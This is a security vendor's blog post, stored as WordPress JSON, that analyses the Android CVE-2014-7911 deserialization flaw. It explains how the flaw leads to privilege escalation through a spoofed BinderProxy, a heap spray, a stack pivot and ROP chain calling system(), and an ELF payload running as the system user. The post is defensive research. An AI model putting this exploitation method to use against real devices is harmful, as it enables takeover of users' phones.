{"id":7779,"date":"2015-01-06T06:00:34","date_gmt":"2015-01-06T14:00:34","guid":{"rendered":"https:\/\/www.paloaltonetworks.com\/blog\/?p=7779"},"modified":"2015-01-05T11:23:25","modified_gmt":"2015-01-05T19:23:25","slug":"cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation","status":"publish","type":"post","link":"https:\/\/www2.paloaltonetworks.com\/blog\/2015\/01\/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation\/","title":{"rendered":"CVE-2014-7911 \u2013 A Deep Dive Analysis of Android System Service Vulnerability and Exploitation"},"content":{"rendered":"<p>In this post we discuss CVE-2014-7911 and the various techniques that can be used to achieve privilege escalation. We also examine how some of these techniques can be blocked using several security mechanisms.<\/p>\n<h3>The Vulnerability<\/h3>\n<p>CVE-2014-7911 was presented <a href=\"http:\/\/seclists.org\/fulldisclosure\/2014\/Nov\/51\" rel=\"nofollow,noopener\"  target=\"_blank\">here<\/a> along with a very descriptive POC that was written by Jann Horn. Described briefly, the ObjectInputStream doesn't validate that the serialized object's class type, as described in the serialized object, is actually serializable. It creates an instance of the wanted class anyway with the deserialized values of the object. Therefore, one can create object of any class, and control its private variables, by serializing objects from another class, that would be deserialized as data members of the wanted class.<\/p>\n<p><span style=\"text-decoration: underline;\">Let's look at the example below:<\/span><!--more--><\/p>\n<p>The following snippet (copied from the original POC) shows a spoofed BinderProxy instance:<\/p>\n<pre class=\"lang:default decode:true \">package AAdroid.os;\r\n\r\nimport java.io.Serializable;\r\n\r\npublic class BinderProxy implements Serializable {\r\n        private static final long serialVersionUID = 0;\r\n        public long mObject = 0x1337beef;\r\n        public long mOrgue = 0x1337beef;\r\n}\r\n<\/pre>\n<p>In the POC code that was provided above, an attacker serializes a class named AAdroid.os.BinderProxy and changes its name to android.os.BinderProxy after marshalling it, and before sending it to the system server.<\/p>\n<p>android.os.BinderProxy class isn't serializable, and it involves native code that handles mObject and mOrgue <strong>as pointers.\u00a0<\/strong><\/p>\n<p>If it was serializable, then the pointers valued wouldn't be deserialized, but their dereferenced values would.<\/p>\n<p>The deserialization code in ObjectInputStream deserializes the sent object as an android.os.BinderProxy instance, leading to type confusion.<\/p>\n<p>As mentioned earlier, this type confusion results in the native code reading pointer values from the attacker's spoofed android.os.BinderProxy, supposedly private fields, which the attacker modified.<\/p>\n<p>Specifically, the field of interest is mOrgue.<\/p>\n<p>The android.os.BinderProxy contains a finalize method that will result in native code invocation. This native code uses mOrgue as a pointer.<\/p>\n<p><span style=\"text-decoration: underline;\">This is the finalize method:<\/span><\/p>\n<pre class=\"lang:default decode:true\">protected void finalize() throws Throwable {\r\n\tdestroy();\r\n\tsuper.finalize();\r\n\treturn;\r\n\tException exception;\r\n\texception;\r\n\tsuper.finalize();\r\n\tthrow exception;\r\n}\r\n<\/pre>\n<p><span style=\"text-decoration: underline;\">And this is the declaration of destroy:<\/span><\/p>\n<pre class=\"lang:default decode:true \">private final native void destroy();<\/pre>\n<p><span style=\"text-decoration: underline;\">The native destroy function:<\/span><\/p>\n<pre class=\"lang:default decode:true \">static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)\r\n{\r\n    IBinder* b = (IBinder*)\r\n            env-&gt;GetIntField(obj, gBinderProxyOffsets.mObject);\r\n    DeathRecipientList* drl = (DeathRecipientList*)\r\n            env-&gt;GetIntField(obj, gBinderProxyOffsets.mOrgue);\r\n    LOGDEATH(\"Destroying BinderProxy %p: binder=%p drl=%p\\n\", obj, b, drl);\r\n    env-&gt;SetIntField(obj, gBinderProxyOffsets.mObject, 0);\r\n    env-&gt;SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);\r\n    drl-&gt;decStrong((void*)javaObjectForIBinder);\r\n    b-&gt;decStrong((void*)javaObjectForIBinder);\r\n    IPCThreadState::self()-&gt;flushCommands();\r\n}\r\n<\/pre>\n<p>Eventually, the native code invokes decStrong<\/p>\n<p style=\"padding-left: 30px;\">(i.e., in drl-&gt;decStrong((<strong>void<\/strong>*)javaObjectForIBinder);)<\/p>\n<p><strong>Note that at this point, drl is controlled by an attacker, as evident by the line<\/strong><\/p>\n<pre class=\"lang:default decode:true \">DeathRecipientList* drl = (DeathRecipientList*)\r\n            env-&gt;GetIntField(obj, gBinderProxyOffsets.mOrgue);\r\n<\/pre>\n<p>So decStrong is going to be called with us controlling 'this' pointer.<\/p>\n<p>Let's take a look on decStrong code from RefBase class <a href=\"https:\/\/android.googlesource.com\/platform\/system\/core\/+\/master\/libutils\/RefBase.cpp\" rel=\"nofollow,noopener\"  target=\"_blank\">source<\/a>:<\/p>\n<pre class=\"lang:default decode:true \">void RefBase::decStrong(const void* id) const\r\n{\r\n    weakref_impl* const refs = mRefs;\r\n    refs-&gt;removeStrongRef(id);\r\n    const int32_t c = android_atomic_dec(&amp;refs-&gt;mStrong);\r\n#if PRINT_REFS\r\n    ALOGD(\"decStrong of %p from %p: cnt=%d\\n\", this, id, c);\r\n#endif\r\n    ALOG_ASSERT(c &gt;= 1, \"decStrong() called on %p too many times\", refs);\r\n    if (c == 1) {\r\n        refs-&gt;mBase-&gt;onLastStrongRef(id);\r\n        if ((refs-&gt;mFlags&amp;OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {\r\n            delete this;\r\n        }\r\n    }\r\n    refs-&gt;decWeak(id);\r\n}\r\n<\/pre>\n<p><strong>Note the line refs-&gt;mBase-&gt;onLastStrongRef(id);\u00a0These lines will eventually lead to arbitrary code execution.<\/strong><\/p>\n<p>In the following screenshot of RefBase::decStrong assembly, the attacker controls r0('this pointer')<\/p>\n<p><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:57.8%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-7780 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-1-500x289.png\" alt=\"cve 1 6 15 1\" width=\"500\" height=\"289\" srcset=\"https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-1-500x289.png 500w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-1-230x133.png 230w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-1-510x295.png 510w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-1-69x40.png 69w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-1.png 974w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/p>\n<h3>Exploitation<\/h3>\n<p>The first use of the controlled register r0, which contains the 'this' pointer (drl) is in these lines:<\/p>\n<pre class=\"lang:default decode:true \">weakref_impl* const refs = mRefs;\r\nrefs-&gt;removeStrongRef(id);\r\nconst int32_t c = android_atomic_dec(&amp;refs-&gt;mStrong);\r\n<\/pre>\n<p>These lines are translated to the following assembly:<\/p>\n<pre class=\"lang:default decode:true \">ldr     r4, [r0, #4]   # attacker controls r4\r\nmov     r6, r1\r\nmov     r0, r4\r\nblx     &lt;android_atomic_dec ()&gt;\r\n<\/pre>\n<p>First, r4 is loaded with the mRefs variable.<\/p>\n<pre class=\"lang:default decode:true \">ldr     r4, [r0, #4]   # attacker controls r4<\/pre>\n<p><strong>Note that r0 is the 'this' pointer of the drl, and mRefs is the first private variable following the virtual function table, hence it is 4 bytes after 'this' pointer.<\/strong><\/p>\n<p>Then, android_atomic_dec is being called with &amp;refs-&gt;mStrong<\/p>\n<pre class=\"lang:default decode:true\">\tconst int32_t c = android_atomic_dec(&amp;refs-&gt;mStrong);<\/pre>\n<p>This is translated to:<\/p>\n<pre class=\"lang:default decode:true \">mov     r0, r4\r\n  blx     &lt;android_atomic_dec ()&gt;\r\n<\/pre>\n<p>r0 now contains &amp;refs-&gt;mStrong.<\/p>\n<p><strong>Note that the mStrong variable is the first data member of refs\u00a0(in the class weakref_impl), and that this class contains no virtual functions, hence it does not contain a vtable, so the mStrong variable is at offset 0 of r4.<\/strong><\/p>\n<p>As one can tell - \u00a0the line refs-&gt;removeStrongRef(id); is not present in the assembly\u00a0 simply because the compiler optimized and omitted it, since it has an empty implementation, as one can see from the following code:<\/p>\n<pre class=\"lang:default decode:true \">void removeStrongRef(const void* \/*id*\/) { }<\/pre>\n<p>Following the call to android_atomic_dec are these lines of code:<\/p>\n<pre class=\"lang:default decode:true \">if (c == 1) {\r\n\trefs-&gt;mBase-&gt;onLastStrongRef(id);\r\n<\/pre>\n<p>These are translated to the following assembly lines:<\/p>\n<pre class=\"lang:default decode:true \">cmp     r0, #1\r\nbne.n   d1ea\r\nldr     r0, [r4, #8] \r\nmov     r1, r6\r\nldr     r3, [r0, #0] \r\nldr     r2, [r3, #12]\r\nblx     r2       \r\n<\/pre>\n<p><strong>Note that android_atomic_dec returns the value of the specified memory address before the decrement took place. So in order to invoke refs-&gt;mBase-&gt;onLastStrongRef(id) (blx r2), we must get refs-&gt;mStrong to get the value of 1.<\/strong><\/p>\n<p>As we can see up to now, an attacker has several constraints that he must adhere to if he wishes to gain code execution:<\/p>\n<ol>\n<li>drl (our first controlled pointer, i.e. r0 when entering decStrong) must point to a readable memory location.<\/li>\n<li>refs-&gt;mStrong must have the value of 1<\/li>\n<li>The dereference chain at the line refs-&gt;mBase-&gt;onLastStrongRef(id) must succeed and eventually point to an executable address.<\/li>\n<\/ol>\n<p>In addition, an attacker must overcome the usual obstacles of exploitation - <strong>ASLR<\/strong> and <strong>DEP<\/strong>.<\/p>\n<p>One can employ basic techniques to fulfill these requirements and overcome the mentioned security mechanisms, including<strong> heap spraying, stack pivoting and ROP. <\/strong>Let\u2019s look at these in detail<b>.<\/b><\/p>\n<h3>Heap spray<\/h3>\n<p>An attacker's first step will be to get a reliable readable address with arbitrary data - most commonly achieved by a heap spray.<\/p>\n<p>The system server provides several core functionalities for the android device, many of which are exposed to applications via various service interfaces.<\/p>\n<p>A common paradigm to invoke a service in the context of the system server is like the following:<\/p>\n<pre class=\"lang:default decode:true \">LocationManager lm = (LocationManager)getSystemService(LOCATION_SERVICE);<\/pre>\n<p>The acquired manager allows us to invoke functionality in the system server on behalf of us, via IPC.<\/p>\n<p>Several services can be used by us for a heap spray, but for the purpose of this blog, we decided to use a heap spray that requires special app permissions, to prevent normal applications from utilizing this technique.<\/p>\n<p>The location manager allows us to register test providers via the function addTestProvider - allowing us to pass an arbitrary name that contains arbitrary data. As we mentioned, one should enable developer options and enable the mock locations option in order to utilize this.<\/p>\n<pre class=\"lang:default decode:true \">lm.addTestProvider(builder.toString(), false, false, false, false, false, false, false, 1, 1);<\/pre>\n<p><strong>Note that this heap spray does have its limitations \u2013 the data is sprayed using the name field, which is Unicode. This imposes a limitation \u2013 we are limited to byte sequences which correspond to valid Unicode code points.<\/strong><\/p>\n<h4 style=\"text-align: left; direction: ltr; unicode-bidi: embed;\">Spray addresses manipulation<\/h4>\n<p>After spraying the system server process memory address space, we encountered another issue - our chosen static address indeed pointed to readable data on each run, but not to the exact same offset in the spray chunk each time.<\/p>\n<p>We decided to solve this problem by crafting a special spray that contains decreasing pointer values.<\/p>\n<p>Here is an illustration of the sprayed buffer, followed by an explanation of its structure:<\/p>\n<p><div style=\"max-width:100%\" data-width=\"490\"><span class=\"ar-custom\" style=\"padding-bottom:118.78%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-7783 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-2.png\" alt=\"cve 1 6 15 2\" width=\"490\" height=\"582\" srcset=\"https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-2.png 490w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-2-230x273.png 230w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-2-252x300.png 252w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-2-33x40.png 33w\" sizes=\"auto, (max-width: 490px) 100vw, 490px\" \/><\/span><\/div><\/p>\n<p style=\"text-align: left;\"><strong>STATIC_ADDRESS<\/strong> is the arbitrarily chosen static pointer in mOrgue.<br \/>\n<strong>GADGET_BUFFER_OFFSET<\/strong> is the offset of GADGET_BUFFER from the beginning of the spray.<\/p>\n<p>In each run of system server process, the static address we chose points to our controlled data, but with different offsets.<\/p>\n<p>r0 (which <strong>always <\/strong>hold the same chosen <strong>STATIC_ADDRESS<\/strong>) can fall to any offset in the \"Relative Address Chunk\", therefore point to any of the <strong>STATIC_ADDRESS + GADGET_BUFFER_OFFSET - 4N<\/strong> addresses, on each time.<\/p>\n<p><strong>Note the following equation:<\/strong><\/p>\n<p style=\"padding-left: 30px;\"><strong>GADGET_BUFFER = Beginning_of_spray + GADGET_BUFFER_OFFSET<\/strong><\/p>\n<p>In the case that r0 <strong>(=STATIC_ADDRESS<\/strong>) points to the beginning of the spray : STATIC_ADDRESS = Beginning_of_spray.<\/p>\n<p style=\"padding-left: 30px;\">Hence: <strong>GADGET_BUFFER =<\/strong> <strong>STATIC_ADDRESS + GADGET_BUFFER_OFFSET<\/strong><\/p>\n<p>On any other case \u2013 r0<strong>(=STATIC_ADDRESS<\/strong>) points to an offset inside the spray (the offset is dword aligned):<\/p>\n<p style=\"padding-left: 30px;\">STATIC_ADDRESS = Beginning_of_spray + 4N<\/p>\n<p style=\"padding-left: 30px;\">Beginning_of_spray = STATIC_ADDRESS \u2013 4N.<\/p>\n<p style=\"padding-left: 30px;\">Hence: <strong>GADGET_BUFFER =<\/strong> <strong>STATIC_ADDRESS + GADGET_BUFFER_OFFSET \u2013 4N<br \/>\n<\/strong><\/p>\n<p>The higher offset in the chunk that r0(=STATIC_ADDRESS) points to, the more we have to subtract to make the expression:<\/p>\n<p style=\"padding-left: 30px;\">STATIC_ADDRESS + GADGET_BUFFER_OFFSET - 4N points to GADGET_BUFFER.<\/p>\n<p><strong>No matter to which offset in the chunk r0 points to, dereference it<\/strong> <strong>would give us the current address of GADGET_BUFFER.\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/strong><\/p>\n<p>But where do we get if we dereference the other addresses in the chunk?<\/p>\n<p>As farther as we go <strong>above<\/strong> r0, the farther the dereference would bring us<strong> below<\/strong> GADGET_BUFFER.<\/p>\n<p><div style=\"max-width:100%\" data-width=\"500\"><span class=\"ar-custom\" style=\"padding-bottom:62.4%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-large wp-image-7784 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-3-500x312.png\" alt=\"cve 1 6 15 3\" width=\"500\" height=\"312\" srcset=\"https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-3-500x312.png 500w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-3-230x143.png 230w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-3-479x300.png 479w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-3-63x40.png 63w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-3.png 847w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/span><\/div><\/p>\n<p>Now that we have a valid working spray, let\u2019s go back to analyzing the assembly.<\/p>\n<pre class=\"lang:default decode:true \">ldr \t  r4, [r0, #4]\r\nmov     r0, r4\r\nblx     &lt;android_atomic_dec ()&gt;\r\ncmp     r0, #1\r\n<\/pre>\n<p>So to overcome the second constraint \u2013 in which refs-&gt;mStrong must contain 1<\/p>\n<pre class=\"lang:default decode:true \">ldr r4, [r0, #4] \u00a0--&gt; \u00a0 r4=[STATIC_ADDRESS + 4]\u00a0\u00a0\u00a0--&gt;\u00a0 r4 = GADGET_BUFFER-4<\/pre>\n<p>[r4] should contain 1, hence [GADGET_BUFFER - 4] should contains 1.<\/p>\n<p>Now, after atomic_dec return value is indeed 1, we should overcome the other dereferences to get to the blx opcode.<\/p>\n<pre class=\"lang:default decode:true\">cmp     r0, #1\r\nbne.n   d1ea\r\n\r\nr4=GADGET_BUFFER - 4\r\nldr     r0, [r4, #8] \r\nr0 = [GADGET_BUFFER - 4 + 8] &lt;-&gt; r0 = [GADGET_BUFFER + 4]\r\nmov     r1, r6\r\nldr     r3, [r0, #0] \r\nr3 = [[GADGET_BUFFER + 4] + 0] &lt;-&gt; r3 = [[GADGET_BUFFER + 4]]\r\n<\/pre>\n<p><strong>Note\u00a0in order to succeed with this dereference, [GADGET_BUFFER + 4] should contain a KNOWN valid address.<\/strong><\/p>\n<p>We arbitrarily chose the known address - STATIC_ADDRESS.<\/p>\n<p><div style=\"max-width:100%\" data-width=\"230\"><span class=\"ar-custom\" style=\"padding-bottom:44.78%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter wp-image-7785 size-medium lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-4-230x103.png\" alt=\"cve 1 6 15 4\" width=\"230\" height=\"103\" srcset=\"https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-4-230x103.png 230w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-4-88x40.png 88w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-4.png 251w\" sizes=\"auto, (max-width: 230px) 100vw, 230px\" \/><\/span><\/div><\/p>\n<pre class=\"lang:default decode:true \">ldr     r2, [r3, #12]\r\nr2 = [GADGET_BUFFER + 12]\r\nblx     r2\r\n<\/pre>\n<p>So now we can build the GADGET_BUFFER as following:<\/p>\n<p><div style=\"max-width:100%\" data-width=\"447\"><span class=\"ar-custom\" style=\"padding-bottom:174.27%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-7786 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-5.png\" alt=\"cve 1 6 15 5\" width=\"447\" height=\"779\" srcset=\"https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-5.png 447w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-5-230x400.png 230w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-5-172x300.png 172w\" sizes=\"auto, (max-width: 447px) 100vw, 447px\" \/><\/span><\/div><\/p>\n<h3>ROP CHAIN<\/h3>\n<p>We chose to run the \"system\" function with a predefined command line.<\/p>\n<p>In order to control the r0 register, and make it point to the command line string, we should use some gadgets that would manipulate the registers.<\/p>\n<p>We got only one function call, so to take control on the execution flow with our gadgets, we should use a <strong>stack pivot<\/strong> gadget.<\/p>\n<p>Therefore, the first function pointer is the preparations for the stack pivot gadget:<\/p>\n<p><div style=\"max-width:100%\" data-width=\"316\"><span class=\"ar-custom\" style=\"padding-bottom:28.48%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-7790 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-61.png\" alt=\"cve 1 6 15 6\" width=\"316\" height=\"90\" srcset=\"https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-61.png 316w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-61-230x65.png 230w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-61-140x40.png 140w\" sizes=\"auto, (max-width: 316px) 100vw, 316px\" \/><\/span><\/div><\/p>\n<p>Where r5 equals to the original r0 (STATIC_ADDRESS) as one can see at the beginning of decStrong.<\/p>\n<pre class=\"lang:default decode:true \">mov     r0,r5  -  Restoring r0 to its original value.\r\n\r\nldr     r7, [r5]\r\n\r\nr7 = [r5]    r7=[STATIC_ADDRESS]    r7 = GADGET_BUFFER\r\nldr     r2, [r7,#0x54]\r\nr2 = [r7 + 0x54]    r2 = [GADGET_BUFFER + 84]\r\nblx     r2\r\n<\/pre>\n<p>Call to the next gadget - which should be 21(=0x54 \/ 4) dwords from the beginning of GADGET_BUFFER<\/p>\n<p><div style=\"max-width:100%\" data-width=\"237\"><span class=\"ar-custom\" style=\"padding-bottom:19.83%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-7789 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-71.png\" alt=\"cve 1 6 15 7\" width=\"237\" height=\"47\" srcset=\"https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-71.png 237w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-71-230x45.png 230w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-71-201x40.png 201w\" sizes=\"auto, (max-width: 237px) 100vw, 237px\" \/><\/span><\/div><\/p>\n<p>This gadget does the Stack Pivoting.<\/p>\n<p>SP register points to r7 \u2013 therefore the stack is under our control and points to <strong>GADGET_BUFFER<\/strong><strong>.<\/strong><\/p>\n<p>Ret to the next gadget that should be kept <strong>8<\/strong> dwords from the beginning of GADGET_BUFFER<\/p>\n<p>(Note the <strong>pop<\/strong>\u00a0\u00a0\u00a0\u00a0 {r4<strong>-<\/strong>r11<strong>,<\/strong>pc} instruction, which pops <strong>8<\/strong> registers off the stack before popping pc).<\/p>\n<p><div style=\"max-width:100%\" data-width=\"266\"><span class=\"ar-custom\" style=\"padding-bottom:15.04%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-7791 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-8.png\" alt=\"cve 1 6 15 8\" width=\"266\" height=\"40\" srcset=\"https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-8.png 266w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-8-230x34.png 230w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-8-240x36.png 240w\" sizes=\"auto, (max-width: 266px) 100vw, 266px\" \/><\/span><\/div><\/p>\n<pre class=\"lang:default decode:true \">r0 = [r0 + 0x38]    r0 = GADGET_BUFFER - 0x38 (As explained before about the spray)<\/pre>\n<p>Now r0 points to 56 (0x38) bytes before GADGET_BUFFER, so we have 52 command line chars, excluding the \"1\" for atomic_dec.<\/p>\n<p>Ret to the next gadget that should be kept 10 dwords from the beginning of GADGET_BUFFER (2 dwords after the current gadget \u2013 <strong>pop<\/strong>\u00a0\u00a0\u00a0\u00a0 {r3<strong>,<\/strong>pc})<\/p>\n<p><div style=\"max-width:100%\" data-width=\"197\"><span class=\"ar-custom\" style=\"padding-bottom:13.71%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-7792 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-9.png\" alt=\"cve 1 6 15 9\" width=\"197\" height=\"27\" \/><\/span><\/div><\/p>\n<p>That is the last gadget where we call system!<\/p>\n<p>Here is an updated layout of the memory for this to happen:<\/p>\n<p><div style=\"max-width:100%\" data-width=\"457\"><span class=\"ar-custom\" style=\"padding-bottom:166.08%;\"><img loading=\"lazy\" decoding=\"async\"  class=\"aligncenter size-full wp-image-7793 lozad\"  data-src=\"https:\/\/www.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-10.png\" alt=\"cve 1 6 15 10\" width=\"457\" height=\"759\" srcset=\"https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-10.png 457w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-10-230x381.png 230w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-10-180x300.png 180w, https:\/\/www2.paloaltonetworks.com\/blog\/wp-content\/uploads\/2015\/01\/cve-1-6-15-10-24x40.png 24w\" sizes=\"auto, (max-width: 457px) 100vw, 457px\" \/><\/span><\/div><\/p>\n<h4>Android and ARM<\/h4>\n<p>There are two important issues we should keep in mind when choosing the gadgets addresses.<\/p>\n<ul>\n<li>There is an ASLR mechanism on Android, and the addresses wouldn't be the same on each and every time. In order to know the correct address, we use the fact that both system server process, and our app are forked from the same process - ZYGOTE, meaning we share the same modules. So we get the address of the necessary modules in system server process, by parsing the maps file of our process. 'maps' is a file in \/proc\/&lt;pid&gt;\/maps which contains the memory layout and the loaded modules addresses.<\/li>\n<li>On ARM CPU, there are two modes of opcode parsing: ARM (4 bytes per opcode) and THUMB (variable bytes per opcode \u2013 2 or 4). Meaning that the same address pointed by PC, could be parsed differently by the cpu when running in different modes. <strong>Parts of the gadgets we use are in the THUMB mode. <\/strong>In order to make the processor change its mode when parsing those gadgets, we <strong>change<\/strong> the pointer address from the actual address, to (address &amp; 1) - turning on the LSB, which make the cpu jmp to the correct address with THUMB mode.<\/li>\n<\/ul>\n<h3>PAYLOAD<\/h3>\n<p>As described before, we use the \"system\" function to run our command line. The length of the command line is limited, and actually a command line can't be used for every purpose. So we decided to use a pre compiled elf, that being written to the file system, as an asset of our app. This elf can do anything with uid 1000 (the uid of system server). The command line we send as an argument to system is simply \u2013<\/p>\n<p style=\"padding-left: 30px;\">\"sh -c \" + file_path<\/p>\n<h3>CONCLUSION<\/h3>\n<p>Android has some common security mechanisms such as ASLR and DEP which should make an exploitation of vulnerability harder to achieve.<\/p>\n<p>Moreover, every application runs in its own process, so the IPC communication could be validated, and making guesses on memory layout shouldn't be intuitive. On the other hand, the fact that every process is forked from the same process makes ASLR irrelevant for vulnerabilities within zygote's sons and the binder connection from every process to system server could lead to heap spray as seen on this post. Those issues appear to be inherent in the Android OS design.<\/p>\n<p>Palo Alto Networks has been researching an Android security solution that based on our lab testing would have blocked this exploit (as well as other exploits) with multiple exploit mitigation modules. We hope to share more details in the coming months.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this post we discuss CVE-2014-7911 and the various techniques that can be used to achieve privilege escalation. We also examine how some of these techniques can be blocked using several security &hellip;<\/p>\n","protected":false},"author":112,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[131,76,108],"tags":[172,995,325],"coauthors":[996,998],"class_list":["post-7779","post","type-post","status-publish","format-standard","hentry","category-malware-2","category-mobility","category-threat-prevention-2","tag-android","tag-cve-2014-7911","tag-vulnerability"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts\/7779","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/users\/112"}],"replies":[{"embeddable":true,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/comments?post=7779"}],"version-history":[{"count":10,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts\/7779\/revisions"}],"predecessor-version":[{"id":8089,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/posts\/7779\/revisions\/8089"}],"wp:attachment":[{"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/media?parent=7779"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/categories?post=7779"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/tags?post=7779"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www2.paloaltonetworks.com\/blog\/wp-json\/wp\/v2\/coauthors?post=7779"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}